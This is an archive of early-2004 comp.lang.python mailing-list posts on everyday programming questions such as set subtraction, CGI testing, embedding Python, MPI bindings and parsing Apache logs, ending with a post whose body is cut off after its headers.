>>>>> Ken Godee <ken at perfect-image.com> (KG) wrote:

KG> 1. The X window systems name is not "X Windows", it is simply
KG> 'X' or 'X11' . Just alot of people wrongly call it Xwindows.

I know. Therefore I said "often referred to as XWindows".
But in fact that could arouse Microsofts anger, so that they also might
attack the name 'X Window System'.
By the way, I think just X or X11 isn't an official name either. And
especially X is now confusing with Mac OS X around.

KG> 2. I'm not defending MS in anyway, but if one doesn't
KG> defend it's trade mark it will become non defendable
KG> and you must defend it against all, not pick and choose.
KG> Hell, look at what Harley Davidson's done in tha last
KG> couple of years. Trademarked/patented everything including
KG> the sound of thier scooters and they're defending it rigorously.
KG> Just try to open a motorcycle shop called something like "Hog Heaven" or
KG> anything with the name "Hog" in it and see how long before
KG> you get a letter, before the grand opening I'd bet.

The point is that "Windows" isn't a trademark, or at least shouldn't be
because it's too generic. "MS Windows" or "Microsoft Windows", OK.
The same was the case with DOS: many people called MS-DOS just "DOS",
although there were other DOSses around.

I think they shouldn't be allowed to hijack the name "Windows". And neither
"Word" or "Office" for that matter.
-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP]
Private email: P.van.Oostrum at hccnet.nl


From jhefferon at smcvt.edu  Tue Feb 10 07:59:45 2004
From: jhefferon at smcvt.edu (Jim Hefferon)
Date: 10 Feb 2004 04:59:45 -0800
Subject: unit testing CGI scripts?
Message-ID: <545cb8c2.0402100459.26da8c7b@posting.google.com>

Hello,

Does anyone have suggestions for unit testing CGI scripts?  For
instance, how can I set the FieldStorage to have certain values?
Do I have to go with a dummy FieldStorage class?  And is there a
better way to check the output than to compare the resulting (sometimes
very large) strings?  Changing the HTML slightly means that I have to
edit the tests and that defeats the purpose of the tests, to 
some extent.  I'd greatly appreciate any tips.

Thanks,
Jim


From zanesdad at bellsouth.net  Tue Feb  3 00:37:01 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Tue, 3 Feb 2004 00:37:01 -0500
Subject: ANN: Munkware 0.4 - RESTish interface
Message-ID: <20040203053701.GB11294@cerberus>

Munkware, a transactional and persistent queueing mechanism, is proud to
announce version 0.4 for public consumption.  One bug fix and one enhancement in
this release:

- Now checks for proper index on all put_rollback() and get_rollback() calls
  (forgot to check there when I was fixing the *_commit()s - oops).
- RESTish interface now available via HTTP server in the Python standard
  library.

The Sourceforge Project page is located at
http://sourceforge.net/projects/munkware/ and the project home page is located
at http://munkware.sourceforge.net/

The RESTish interface is very much in infancy, but I wanted to get it out there
and see if anyone had any comments/suggestions/etc.  I've got a lot of work I
want to do, including these items from my TODO list:
- Create an example of a multithreaded HTTP server.
- Abstract out the REST portions from the request handler.
- Create ability to have more than one queue per HTTP server (probably going to
  be solved by abstracting REST out).
Plus some others I'm sure to have forgotten.

If you have any suggestions, please feel free to email them to me.


Jeremy Jones



From elainejackson7355 at home.com  Wed Feb 11 16:33:19 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Wed, 11 Feb 2004 21:33:19 GMT
Subject: sets and subsets
References: <c0e4g3$r1$1@solaris.cc.vt.edu>
Message-ID: <zcxWb.464065$JQ1.270296@pd7tw1no>

b=[x for x in b if x not in c]

"Bart Nessux" <bart_nessux at hotmail.com> wrote in message
news:c0e4g3$r1$1 at solaris.cc.vt.edu...
| By using lists, I can create sets of number. Suppose I have three lists.
| One list is the super-set, one is a set that contains all the numbers
| (just like the super-set) and the last is sub-set of the super-set. For
| example:
|
| a = [1,2,3,4,5] # The super-set.
| b = [1,2,3,4,5] # Looks just like the super-set, but it's not.
| c = [2,4] # A sub-set
|
| I'd like to remove 2 & 4 from set b BECAUSE they are present in set c...
| this would make the sets look like this:
|
| a = [1,2,3,4,5]
| b = [1,3,5]
| c = [2,4]
|
| How do I test set c to find what it contains and then look at set b to
| see if it contains any of those same numbers, and if so, remove them.
|




From theller at python.net  Mon Feb  9 08:45:49 2004
From: theller at python.net (Thomas Heller)
Date: Mon, 09 Feb 2004 14:45:49 +0100
Subject: Problem removing win32all (163)
References: <Xns948A8ED0A8A8Cstefninalussinanorg@212.27.42.68>
Message-ID: <8yjctlgy.fsf@python.net>

"St?phane Ninin" <stefnin at alussinan.org> writes:

>   Hello,
>
> I had problems installing a few months ago the win32all (number 163) 
> on windows 2000, and I want now to install the new version from sourceforge.
>
>
> I read on the site:
> Please uninstall old win32all versions (the installer will insist on this) 
> before installing the new package. 
>
> Problem is, when I want to unistall it,
> a window appears "Could not open INSTALL.LOG file"...
> and unistallation stops.
>
> Is there a clean way to remove the package ? 
> Which directories, registry settings, must be cleaned ?

If the uninstall information is missing, you may get it back by
*installing* the package again, and then uninstall it.
I've used this recipe with several windows products, and in general it
works well.

Thomas


From peter at engcorp.com  Thu Feb 26 13:47:52 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 26 Feb 2004 13:47:52 -0500
Subject: How to obscure a password
References: <mailman.175.1077814180.8594.python-list@python.org>
Message-ID: <403E3F58.93FDD4B5@engcorp.com>

"Batista, Facundo" wrote:
> 
> Peter Hansen wrote:
> 
> #- > I need to restore the password later and use it as if the
> #- user just entered
> #- > it.
> #-
> #- Your design is probably fundamentally flawed in that case.  Are you
> #- certain it is not possible to store the hashed password and always
> #- to compare against it?
> 
> That will imply to the user to enter his password everytime (that's what I'm
> trying to avoid).

That's what sessions are for.  Don't you have session support?

The only time one should ever need to re-enter a password is when you
are allowing them to *change* their current password.  And even then
hashing should still be done before you encrypt the new password with
the old one, so that it can _never_ be seen in the clear on the server.

-Peter


From beliavsky at aol.com  Wed Feb 18 16:26:59 2004
From: beliavsky at aol.com (beliavsky at aol.com)
Date: 18 Feb 2004 13:26:59 -0800
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
Message-ID: <3064b51d.0402181326.1b046f29@posting.google.com>

"kbass" <kbass at midsouth.rr.com> wrote in message news:<LaBXb.8774$g95.1612 at fe3.columbus.rr.com>...
> In different articles that I have read, persons have constantly eluded to
> the productivity gains of Python. One person stated that Python's
> productivity gain was 5 to 10 times over Java in some in some cases. The
> strange thing that I have noticed is that there were no examples of this
> productivity gain (i.e., projects, programs, etc.,...).  Can someone give me
> some real life examples of productivity gains using Python as opposed other
> programming languages.
> 
> From my our personal experience, I have been programming with Python for
> about 6 months (but I have been programming in other languages for over 10
> years) and I have noticed that the more I had gotten use to programming in
> Python, the more my programming speed has increased. But ... this is true
> with any language that you program in as long as you are learning the
> methodologies and concepts of the programming language.  Your thoughts.
> 
> Kevin

My main other language is Fortran 95. For simple text analysis or
"database" programming (sorting a list, merging two lists etc.),
programming in Python is much faster, since more functionality is
built-in and the code is generic. If you write a sorting routine in
Python, it will work for lists with any type of elements (int's,
real's etc).

For numerical work, I still prefer Fortran 95 to Numeric Python.
Genericity is not as important here, and in any case a single Fortran
95 code can be written to do a calculation in single, double, or
quadruple precision, using the KIND feature. Fortran 95, properly
used, is safer than Python, because (for example)
1. function interfaces are checked at compile time
2. constants can be declared
3. the DO loop is more restrictive -- the looping variable cannot be
changed inside the loop

Well-written numerical F95 code is clearer to me than comparable
Python code because one can specify what input arguments of a function
will not be changed (using the INTENT(IN) feature) and what the
dimensions of all arguments are. It's also clear from reading the
declarations what the function is returning, whereas a Python function
can return anything, depending on how it is executed.

There are several independent implementations of languages like C++
and Fortran on both Linux and Windows. I don't think this is true for
Python. They create stand-alone executables that don't require an
interpreter on the target computer. Their language committees are
unlikely to make changes that break old code, as the prospective
change in Python's integer division will do.

I do like Python, but no language is a panacea. I think Python should
add some OPTIONAL safety features.


From prouleau at impathnetworks.com  Fri Feb 27 17:29:57 2004
From: prouleau at impathnetworks.com (Pierre Rouleau)
Date: Fri, 27 Feb 2004 17:29:57 -0500
Subject: Problem with mixing doctest with gettext _()
In-Reply-To: <c1ocvc$fkq$07$1@news.t-online.com>
References: <Ysz%b.20076$253.1212052@news20.bellglobal.com>	<mailman.191.1077856934.8594.python-list@python.org>	<FZG%b.20178$253.1255290@news20.bellglobal.com>
	<mailman.199.1077893785.8594.python-list@python.org>
	<uZJ%b.23270$ee3.513937@news20.bellglobal.com>
	<c1ns58$kti$03$1@news.t-online.com>
	<s7L%b.18214$Mo4.612706@news20.bellglobal.com>
	<MvL%b.20343$253.1307828@news20.bellglobal.com>
	<c1o2m9$orh$00$1@news.t-online.com>
	<t3O%b.18482$Mo4.625943@news20.bellglobal.com>
	<c1ocvc$fkq$07$1@news.t-online.com>
Message-ID: <coP%b.18520$Mo4.632568@news20.bellglobal.com>


>>
>>
>>You're right!  It does work. I must admit, that I don't see why though.
>>  (a,) makes a tuple out of the `a` argument.  Does the %r conversion
>>require a tuple?
> 
> 
> The formatting operator behaves differently depending on whether the
> righthand argument is a tuple or something else. 
> 
> formatstr % tuple
> 
> ensures that there is a corresponding format expression - e.g. "%s" or "%d"
> - for every item in the tuple, whereas
> 
> formatstr % nontuple 
> 
> expects exactly one format expression. Therefore
> 
> "%r\n" % a
> 
> raises an exception when a is a tuple with more or less than one item and
> wrongly prints the item's representation instead of the tuple's for
> one-tuples.
> Wrapping it like so (a,) fixes the problem because now we have always a
> tuple with one item - where this item is sometimes a tuple.
> 
> An alternative approach would be to ensure that the righthand side is always
> a nontuple:
> 
> "%s\n" % repr(a)
> 

Thanks for this clear explanation!

Pierre


From mb at muenster.de  Tue Feb 10 17:34:35 2004
From: mb at muenster.de (Martin Bless)
Date: Tue, 10 Feb 2004 22:34:35 GMT
Subject: ANNOUNCE: Build 200 of the pywin32 extensions (win32all)
	available
References: <c03pel$19ts$1@arachne.labyrinth.net.au>
Message-ID: <402b5ac9.2108062@news.muenster.de>

[Mark Hammond <mhammond at skippinet.com.au>]

>All comments appreciated!

Marvelous! 

Since more than a year there used to be a bug in the editor that
wouldn't let you you german "Umlaute" for example. Or my name, which
actually is "Ble?". I once asked about it and the answer was that the
error was in the code of the Scintilla project. Whatever happened -
the error seems to be gone. Wonderful!

Martin



From missive at frontiernet.net  Wed Feb 11 16:41:39 2004
From: missive at frontiernet.net (Lee Harr)
Date: Wed, 11 Feb 2004 21:41:39 GMT
Subject: sets and subsets
References: <c0e4g3$r1$1@solaris.cc.vt.edu>
Message-ID: <slrnc2l8ch.2sv6.missive@homer.easthighschool.net>

On 2004-02-11, Bart Nessux <bart_nessux at hotmail.com> wrote:
> By using lists, I can create sets of number. Suppose I have three lists. 
> One list is the super-set, one is a set that contains all the numbers 
> (just like the super-set) and the last is sub-set of the super-set. For 
> example:
>
> a = [1,2,3,4,5]	# The super-set.
> b = [1,2,3,4,5] # Looks just like the super-set, but it's not.
> c = [2,4]	# A sub-set
>
> I'd like to remove 2 & 4 from set b BECAUSE they are present in set c... 
> this would make the sets look like this:
>
> a = [1,2,3,4,5]
> b = [1,3,5]
> c = [2,4]
>
> How do I test set c to find what it contains and then look at set b to 
> see if it contains any of those same numbers, and if so, remove them.
>


>>> from sets import Set
>>> a = Set([1, 2, 3, 4, 5])
>>> b = Set([1, 2, 3, 4, 5])
>>> c = Set([2, 4])
>>> s = b - c
>>> s
Set([1, 3, 5])



From elibabila at hotmail.com  Sun Feb  8 10:44:18 2004
From: elibabila at hotmail.com (Elie B.)
Date: 8 Feb 2004 07:44:18 -0800
Subject: Embedding - getting full error string
Message-ID: <3d412834.0402080744.78706dd4@posting.google.com>

Hi,
I'm new to Python. I'm trying to embbed Python in my Windows
application having some success with redirecting the stdin/out to my
windows application using:

In my C++ code I use PyRun_SimpleString to execute this code:

import sys
import mymodule
class LOGwriter :
   def write(self, str):
   mymodule.printit(str)
sys.stdout = sys.stderr = LOGwriter()

than adding in C++:

static PyMethodDef mymodule_methods[] = {
	{"printit", mymodule_printit, METH_VARARGS, "prints"},
	{NULL,		NULL, 0 ,NULL}		/* sentinel */
};

static PyObject *mymodule_printit(PyObject *self, PyObject* args)
{
	char *s;
	PyArg_ParseTuple(args, "s", &s);
        PrintToWindow(s); <-- my function
	return NULL;
}


Well it seems to work ok, until a string with quotes arrives (usualy
when an error occurs). When an error occurs it cuts the error string
after the quote, so I always get
File "
and not the full error string, which should be somthing like File
"<string>", line 3... . I've tried all kind of ways around this, yet
with no sucess. Thanks in advance for any help.

Eli


From michael at foord.net  Mon Feb 23 10:09:20 2004
From: michael at foord.net (Fuzzyman)
Date: 23 Feb 2004 07:09:20 -0800
Subject: _ssl.pyd in py2exe ???
References: <8089854e.0402210443.1f220525@posting.google.com>	<isrkg1-q33.ln1@ID-66900.news.dfncis.de>	<8089854e.0402230004.22a970c@posting.google.com>
	<mailman.194.1077530438.27104.python-list@python.org>
Message-ID: <8089854e.0402230709.67b6eb64@posting.google.com>

Thomas Heller <theller at python.net> wrote in message news:<mailman.194.1077530438.27104.python-list at python.org>...
> michael at foord.net (Fuzzyman) writes:

[snip..]

> _ssl is imported by the httplib and socket modules.
> socket is imported by a lot of modules, webbrowser among them, so this
> is explained.
> 
> If you are sure your program never uses socket (or _ssl), you should use
> py2exe's excludes option to avoid that these are included.
> 
> Thomas

I did wonder if it was the webbrowser module !
It's half a meg of unnecessary 'stuff' - so I'll set py2exe to not include it.

MANY THANKS



Fuzzyman

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From peter at engcorp.com  Thu Feb 19 10:34:09 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 19 Feb 2004 10:34:09 -0500
Subject: Why import only at module level?
References: <7xoervxwxt.fsf@ruckus.brouhaha.com>
Message-ID: <4034D771.9AE85ECB@engcorp.com>

Paul Rubin wrote:
> 
> That's what the Python style guides advise.  They don't seem to like
> 
>    def frob(x):
>       import re
>       if re.search('sdf[234]xyz', x): ...
> 
> instead preferring that you pollute your module's global namespace
> with the names of all your imports.  What's the point of that?  

Maintainability.  It's also well understood that there are potential
benefits to the approach you show above, late-loading of code being
one of them (which can improve startup time for certain apps), but
as maintainability should almost always be the primary consideration,
the standard advice is to put stuff together at the top where it's
clear to maintainers which modules are used in the code (in other
words, what a given module is coupled to).

-i've-been-playing-the-esp-game-so-i-channeled-the-style-guide-authors
-Peter


From natsu_mizu_99 at yahoo.co.jp  Fri Feb 20 17:17:42 2004
From: natsu_mizu_99 at yahoo.co.jp (Natsu Mizutani)
Date: Sat, 21 Feb 2004 07:17:42 +0900
Subject: pyMPI and calling MPI functions using Boost.Python
Message-ID: <40368786.4060208@yahoo.co.jp>

Hello,

I'm trying to wrap a c++ library using MPI inside with boost.python
(or SWIG).
I managed to find that calling `MPI::Init()` embeded in a c++ funtion
would not work.  So, I decided to use `pyMPI`.
To avoid overhead of pickling and unpickling while calling `mpi.send`
in Python, I'd rather call c++ functions `MPI::Isend()` etc. embeded
in a c++ function.

What I'd like to know is the following:
After starting `pyMPI` session, it seems to work call c++ function
`MPI::Isend()` or `MPI::Irecv()`, etc. from the `pyMPI`,
at least for my small test code attached below.

Is it guaranteed to work for larger scale code?
I mean for larger memory allocation, heavily repeated message passing,
, many paralell processes.
Or, the example worked only with some luck?
As for now, `mpiCC` is built without shared library.

Any suggestions?

Thank you.

--Natsu

----- A small test code mpitest.so works like this -----
$ mpirun -np 2 /usr/bin/pyMPI
Python 2.2.1 (#1, Jan 22 2003, 19:07:20)
[GCC 2.95.3 20010315 (release)] on linux2
Copyright (c) 2001, 2002 Python Software Foundation.
All Rights Reserved.

Copyright (c) 2000 BeOpen.com.
All Rights Reserved.

Copyright (c) 1995-2001 Corporation for National Research Initiatives.
All Rights Reserved.

Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.
All Rights Reserved.
 >>> import mpi
 >>> import mpitest
 >>> print "hello ", mpi.rank, mpi.size
hello  0 2
hello  1 2
 >>> bnd = mympi.bndry(6)
 >>> bnd.mpiTest(mpi.rank, mpi.size - 1 - mpi.rank)
100, 99, 98, 97, 96, 95,  was a rtmp for node:0
100, 101, 102, 103, 104, 105,  was a rtmp for node:1>>>


----- mpitest.so is made from the following using Boost.Python.
//ftest.cpp
#include "ftest.h"

//ftest.h
#include <iostream>
#include <mpi++.h>

class bndry{
     MPI::Request sreq_, rreq_;
     double* stmp_;
     double* rtmp_;
   public:
     int n_;
     bndry(int n) : n_(n) {
     stmp_ = new double[n];
     rtmp_ = new double[n];
     }
     ~bndry(){
       delete [] stmp_;
       delete [] rtmp_;
     };
     void mpiTest(int me, int other) {
       double c0 = 1.0;
       if (me == 1) c0 = -1.0;
       unsigned int ii = 0;
       // Create diffrent arrays in diffrent nodes
       for (int k = 0; k < n_; ++k) {
           stmp_[ii++] = 100.0 + c0 * k;
       }
       sreq_ = MPI::COMM_WORLD.Isend(stmp_, ii, MPI::DOUBLE, other, me);
       rreq_ = MPI::COMM_WORLD.Irecv(rtmp_, ii, MPI::DOUBLE,
           other, other);
       rreq_.Wait();
       for (int k = 0; k < n_; ++k) {
         cout << rtmp_[k] << ", ";
       }
       cout << " was a rtmp for node:" << me << endl;
       sreq_.Wait();
     }
};

//mpitest.cpp
#include <boost/python.hpp>
#include <boost/cstdint.hpp>
#include <fblock.h>
using namespace boost::python;
BOOST_PYTHON_MODULE(mpitest) {
     class_< bndry >("bndry", init< const bndry& >())
         .def(init< int >())
         .def_readwrite("n_", &bndry::n_)
         .def("mpiTest", &bndry::mpiTest)
     ;
}



From fake at fake.net  Sun Feb 22 15:15:30 2004
From: fake at fake.net (Andrei)
Date: Sun, 22 Feb 2004 21:15:30 +0100
Subject: Conversion code not working properly
References: <3uuh305tv9o3g5dpenoqaghtbkiuihdpua@4ax.com>
	<lw6i8vlralv3.9b0vokdurkht$.dlg@40tude.net>
	<sh1i30p0bspcjrofi5vgja3p7t50rrnept@4ax.com>
Message-ID: <x4rk9o63yp9c.oyibef8f3p7y.dlg@40tude.net>

weasel wrote on Sun, 22 Feb 2004 19:45:30 GMT:

> It's not working. I don't think the conversion is the problem. After
> converting, the program shows the original entry you put in

You're right, I saw integer division where you were trying to convert
temperatures and automatically assumed that was the only problem, without
really reading the code. 

> What happened to the other half? I tried using 5.0/9.0, but got the
> same results.

How did you get range() to work on floats without deprecation warnings?
 
> Any more ideas?

Terry Reedy answered a short while ago to why a Celsius range is by
definition shorter than a Fahrenheit range. I'm not quite sure what the
point of the conversion is to be honest, more specifically why a range is
returned. You can't map a celsius temperature in the Celsius range to a
Fahrenheid temperature in the other range and the extreme values are
incorrect due to the integer division and/or the range() used with float
arguments. 42 F should be 5.556 C and your program returns 5.

Btw, there's also a Python list for beginners if you're interested
(python-tutor).

-- 
Yours,

Andrei

=====
Real contact info (decode with rot13):
cebwrpg5 at jnanqbb.ay. Fcnz-serr! Cyrnfr qb abg hfr va choyvp cbfgf. V ernq
gur yvfg, fb gurer'f ab arrq gb PP.


From sax at csmisc72.cs.chalmers.se  Fri Feb 20 10:24:00 2004
From: sax at csmisc72.cs.chalmers.se (Stefan Axelsson)
Date: 20 Feb 2004 15:24:00 GMT
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com> <40330A95.DF809EAA@alcyone.com>
	<4f0a9fdb.0402180457.6c96853d@posting.google.com>
	<ql87309o5jg1qsro0tu89gb996635t0k9j@4ax.com>
	<mailman.41.1077153034.27104.python-list@python.org>
	<7xhdxnzs8a.fsf@ruckus.brouhaha.com>
	<slrnc390f4.h9q.sax@csmisc72.cs.chalmers.se>
	<ur1b305a2f45o0a0ruc7m345l7qud8sskt@4ax.com>
Message-ID: <slrnc3c9kg.9l9.sax@csmisc72.cs.chalmers.se>

In article <ur1b305a2f45o0a0ruc7m345l7qud8sskt at 4ax.com>, Dave K wrote:
> Just for the record, that was actually written by Fran?ois Pinard, not
> me. Well worth quoting again, though, as it's a lovely example.

Ah, my bad. I thought I cut the right attribution.  At least I didn't
claim that *I* had written it. :-)

Stefan,
-- 
Stefan Axelsson                  (email at http://www.cs.chalmers.se/~sax)


From gerrit at nl.linux.org  Sun Feb  1 09:48:02 2004
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Sun, 1 Feb 2004 15:48:02 +0100
Subject: howto prevent class variable assignment
In-Reply-To: <bvj1do$1av$1@news.rz.uni-karlsruhe.de>
References: <bvj1do$1av$1@news.rz.uni-karlsruhe.de>
Message-ID: <20040201144802.GA4956@nl.linux.org>

Uwe Mayer wrote:
> when an instance variable of a class is not found, python tries to fall back
> to the class variable. 
> I want to use that feature to provide default settings for a class which can
> be overwritten by assignments to variables with the same name.
> 
> This quickly becomes difficult to handle when you get confused wether your
> assignment was made to a class variable or an instance variable. I
> therefore want to prevent write access to class variables. How do I do
> that?

I think you can do that with a Metaclass.
See http://www.python.org/2.2.2/descrintro.html#metaclasses

Gerrit.

-- 
Public key:
http://people.nl.linux.org/~gerrit/gpg_public_key
-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From kkto at csis.hku.hk  Thu Feb  5 21:49:43 2004
From: kkto at csis.hku.hk (Isaac To)
Date: Fri, 06 Feb 2004 10:49:43 +0800
Subject: How can this be?
References: <4eBUb.15701$uM2.7740@newsread1.news.pas.earthlink.net>
Message-ID: <7ihdy4ncqg.fsf@enark.csis.hku.hk>

>>>>> "r" == r e s <r.s at ZZmindspring.com> writes:

    r> My problem is this ...  Module A contains the definition of a
    r> function f.  Module B contains:

    r> from A import * L = [0] print L x = f(L, 'a data string') print L

    r> When Module B is imported/reloaded (in pythonwin), the result printed
    r> in the interactive window is

    r> [0] [1]

    r> How can the list L have gotten changed??

    r> Without my posting the function def (which is very lengthy), can
    r> anyone possibly give me a clue about what might be a likely cause of
    r> this behavior?  (It *is* irregular, isn't it?  ?)

Not quite.  The function cannot change the binding that L is pointing to
that particular list object, and this is the case.  E.g.,

>>> def fun(input):
...     input[0] = 1
...     input = [2]
... 
>>> L = [0] 
>>> print L
[0]
>>> print id(L)
1075979404
>>> fun(L)
>>> print L
[1]
>>> print id(L)
1075979404

In other words, the function changes the content of L, which is allowed (as
long as the object provide some interface for you to do so).  But it cannot
change L to point to another object (here, [2]).

Regards,
Isaac.


From jacek.generowicz at cern.ch  Fri Feb 27 03:12:52 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 27 Feb 2004 09:12:52 +0100
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<tyfwu6bmfhx.fsf@pcepsft001.cern.ch>
	<c1iuj5$7q3$1@panix1.panix.com>
	<tyfoermmgp7.fsf@pcepsft001.cern.ch>
	<c1l1au$nn4$1@panix1.panix.com>
Message-ID: <tyfvfltaqkb.fsf@pcepsft001.cern.ch>

aahz at pythoncraft.com (Aahz) writes:

> class Callable:
>     def __call__(self):
>         print "!"
> 
> class C:
>     def __init__(self):
>         self.foo = Callable()
> 
> C().foo()
> 
> Now tell me why this doesn't do what you want.

Because

>>> C.foo
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
AttributeError: class C has no attribute 'foo'

for a start.


From merkosh at hadiko.de  Wed Feb  4 07:04:46 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Wed, 04 Feb 2004 13:04:46 +0100
Subject: install Ctrl-C handler
Message-ID: <bvqn4r$7ga$1@news.rz.uni-karlsruhe.de>

Hi,

can anybody tell me how you install something like a Ctrl-C handler in
Python, i.e. a routine that is called when ^C is pressed and that can do
cleanup work?

Thanks
Uwe


From skip at pobox.com  Thu Feb 26 17:44:06 2004
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 26 Feb 2004 16:44:06 -0600
Subject: Internet-scale distributed computing?
Message-ID: <16446.30390.507719.54810@montanaro.dyndns.org>


Failing to find any obvious references with some googling, I turn to the
Python folks who have lots of information about lots of different
application domains.

I'm sure many of you are aware of SETI at Home, Folding at Home and Google
Compute, all tools to tackle certain large computational problems on an
Internet scale, typically by soaking up unused cycles on otherwise idle
computers.  A bit of googling didn't turn up any others, so I'm wondering:

    1. Are there other active projects similar to SETI at Home or Folding at Home?

    2. Are there tools available to make it easier to build such
       applications?

Thx,

Skip



From simoninusa2001 at yahoo.co.uk  Wed Feb 18 14:12:30 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 18 Feb 2004 11:12:30 -0800
Subject: Python Productivity Gain?
References: <mailman.85.1077050044.31398.python-list@python.org>
Message-ID: <30260531.0402181112.117a525b@posting.google.com>

It's interesting that most of us have shared a similar "language
path".

Personally mine is [mainly]:

BBC BASIC (the best BASIC, dont' get me started on QBasic/VB!)
ARM Assembly (damn, no divide, but bloody fast)
Perl (my preciousssss)
PHP (nice DB stuff, bloody slow though)
Java (way too trendy for me, and slow)
C (nice and low level)
C++ (actually prefer C, C++ seems to hold you hand too much)
C# (too much like J++ or ASP)
Python (GUI stuff is sooo easy!)

So my current favourites are Perl for CGI and Python for
cross-platform, scriptable-GUI stuff.


From paul at prescod.net  Wed Feb 18 13:31:52 2004
From: paul at prescod.net (Paul Prescod)
Date: Wed, 18 Feb 2004 10:31:52 -0800
Subject: Memory pre-allocation for large lists
In-Reply-To: <c0v3il$bk3$1@panix2.panix.com>
References: <ift530d51l8td0uoohm5t9ad96pq5n4e3i@4ax.com>
	<c0v3il$bk3$1@panix2.panix.com>
Message-ID: <4033AF98.2090001@prescod.net>

Aahz wrote:
> ... 
> Can, yes.  But why?  Python uses an allocation mechanism for lists that
> results in constant amortized time; there's really no reason to
> pre-allocate.

What if you just want to use index assignment without worrying about 
indexing past the part of the list that hasn't been allocated yet?

Nevertheless, your question is legitimate. You seldom have to 
pre-allocate lists in Python.

  Paul Prescod




From nhodgson at bigpond.net.au  Wed Feb 11 16:28:18 2004
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Wed, 11 Feb 2004 21:28:18 GMT
Subject: How to avoid "f.close" (no parens) bug?
References: <mailman.1466.1076513845.12720.python-list@python.org>
Message-ID: <S7xWb.52174$Wa.51965@news-server.bigpond.net.au>

Batista, Facundo:

> Why "appears"?
>
> There is any case when f.close, or bar or something like "not a call to a
> function (there is no ')'), with no '=' at the left or at the right" has
any
> effect?

   I have seen this used as a test. Simplified:

try:
    f.close
except AttributeError:
    f.close = makeAMethod()

   Neil




From bkelley at wi.mit.edu  Sun Feb 15 17:16:03 2004
From: bkelley at wi.mit.edu (Brian Kelley)
Date: Sun, 15 Feb 2004 17:16:03 -0500
Subject: a simple question... how to detect click action in another
	module?
In-Reply-To: <c0ohj8$5eq$1@atlantis.news.tpi.pl>
References: <c0ohj8$5eq$1@atlantis.news.tpi.pl>
Message-ID: <402fef31$0$564$b45e6eb0@senator-bedfellow.mit.edu>

Ringwraith wrote:
> Hello!
> 
> How to detect in Python that some click action was performed in some module
> imported by my main module?

What you are talking about is an observer pattern.  Most GUI widgets 
supply an EVENT mechanism that when triggered call a python function. 
This event mechanism will be dependent upon your GUI toolkit.  I'm 
assuming that you are using a GUI, otherwise you can roll your own event 
mechanism or just use an existing one:

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/131499

The basic Tkinter example is here, notice the frame.bind call:
http://effbot.org/zone/tkinter-events-and-bindings.htm

wxpython has a full tree example in their demo, just install wxpython 
from http://wxpython.org/ and run the demo application.  Examining the 
source code will tell you how to capture wxpython tree-click events.

If you could be more specific about what GUI you are using, we could 
give you a more specific answer.

Brian Kelley



From deets_noospaam at web.de  Thu Feb 26 18:11:04 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Fri, 27 Feb 2004 00:11:04 +0100
Subject: Simple question for all of you python gurus
References: <NYu%b.12366$qL1.145@fed1read02>
Message-ID: <c1lue8$mvh$03$1@news.t-online.com>

> How can I do this?
> Thanks in advance for answering this seemingly easy question.

You're code might work if you use os.chdir to change the current working
directory.

Another that works on the command-line (and thus for your script) is to use
xargs with -l<num>, e.g.:

find / | xargs -l 10 grep -i foo

xargs then will invoke grep in batches of ten.



-- 
Regards,

Diez B. Roggisch


From jcarlson at nospam.uci.edu  Fri Feb 20 01:32:24 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 19 Feb 2004 22:32:24 -0800
Subject: Parsing apache log files
In-Reply-To: <oqigg1-3nl.ln1@grendel.myth>
References: <oqigg1-3nl.ln1@grendel.myth>
Message-ID: <c149qh$33i$1@news.service.uci.edu>

> In the meantime, is there some obvious method, or module that I have
> missed ? 

I use a regular expression:
import re
rexp = re.compile('(\d+\.\d+\.\d+\.\d+) - - \[([^\[\]:]+):'
                   '(\d+:\d+:\d+) -(\d\d\d\d\)] ("[^"]*") '
                   '(\d+) (-|\d+) ("[^"]*") (".*")\s*\Z')

a = rexp.match(line)
if not a is None:
     a.group(1) #IP address
     a.group(2) #day/month/year
     a.group(3) #time of day
     a.group(4) #timezone
     a.group(5) #request
     a.group(6) #code 200 for success, 404 for not found, etc.
     a.group(7) #bytes transferred
     a.group(8) #referrer
     a.group(9) #browser
else:
     #this line did not match.

That should work for most any line you get, but you may want to run it 
over a few megs of your logs just to check and see if that else 
statement is ever caught for a non-empty line.

  - Josiah


From johng2001 at rediffmail.com  Wed Feb 25 12:43:55 2004
From: johng2001 at rediffmail.com (John)
Date: 25 Feb 2004 09:43:55 -0800
Subject: Session CGI!
References: <ba129ce7.0402211010.231375d7@posting.google.com>
	<30260531.0402211543.d810721@posting.google.com>
	<ba129ce7.0402220052.283012ce@posting.google.com>
	<crvl30dj3mduqo8rbl1qqgij7mj9r87tng@4ax.com>
	<ba129ce7.0402240734.1bd0143d@posting.google.com>
	<ufOdnUCfSsA0EKbd4p2dnA@comcast.com>
Message-ID: <ba129ce7.0402250943.3b5c6c5e@posting.google.com>

